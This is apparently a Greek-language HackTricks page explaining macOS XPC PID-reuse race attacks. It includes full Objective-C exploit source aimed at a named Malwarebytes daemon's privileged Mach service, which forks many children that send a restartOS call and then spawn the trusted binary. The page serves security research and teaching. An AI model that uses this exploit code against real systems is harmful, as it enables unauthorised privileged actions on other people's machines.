macOS PID Reuse

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Επαναχρησιμοποίηση PID

Όταν ένα XPC service στο macOS ελέγχει την καλούμενη διεργασία βασιζόμενο στο PID και όχι στο αναγνωριστικό ελέγχου, είναι ευάλωτο σε επίθεση επαναχρησιμοποίησης PID. Αυτή η επίθεση βασίζεται σε μια συνθήκη ανταγωνισμού όπου ένα εκμεταλλευτικό πρόγραμμα θα στείλει μηνύματα στην υπηρεσία XPC καταχρώμενο τη λειτουργικότητα και αμέσως μετά, θα εκτελέσει posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) με το επιτρεπόμενο δυαδικό αρχείο.

Αυτή η λειτουργία θα κάνει το επιτρεπόμενο δυαδικό αρχείο να κατέχει το PID, αλλά το κακόβουλο μήνυμα XPC θα έχει σταλεί λίγο πριν. Έτσι, αν η υπηρεσία XPC χρησιμοποιεί το PID για τον έλεγχο του αποστολέα και το ελέγχει ΜΕΤΑ την εκτέλεση του posix_spawn, θα νομίζει ότι προέρχεται από μια εξουσιοδοτημένη διεργασία.

Παράδειγμα εκμετάλλευσης

Αν βρείτε τη λειτουργία shouldAcceptNewConnection ή μια λειτουργία που καλεί την processIdentifier και δεν καλεί το auditToken. Είναι πολύ πιθανό ότι ελέγχει το PID της διεργασίας και όχι το αναγνωριστικό ελέγχου. Όπως για παράδειγμα σε αυτήν την εικόνα (ληφθείσα από την αναφορά):

Ελέγξτε αυτήν την εκμετάλλευση παραδείγματος (και πάλι, ληφθείσα από την αναφορά) για να δείτε τα 2 μέρη της εκμετάλλευσης:

  • Ένα που δημιουργεί αρκετές διακλαδώσεις

  • Κάθε διακλάδωση θα στείλει το φορτίο στην υπηρεσία XPC ενώ εκτελεί το posix_spawn αμέσως μετά την αποστολή του μηνύματος.

Για να λειτουργήσει η εκμετάλλευση, είναι σημαντικό να εξαγάγετε`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ή να το τοποθετήσετε μέσα στην εκμετάλλευση:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

Πρώτη επιλογή χρησιμοποιώντας NSTasks και ορίζοντας το όρισμα για να εκκινήσετε τα παιδιά προκειμένου να εκμεταλλευτείτε το RC

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

Άλλα παραδείγματα

Αναφορές

Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated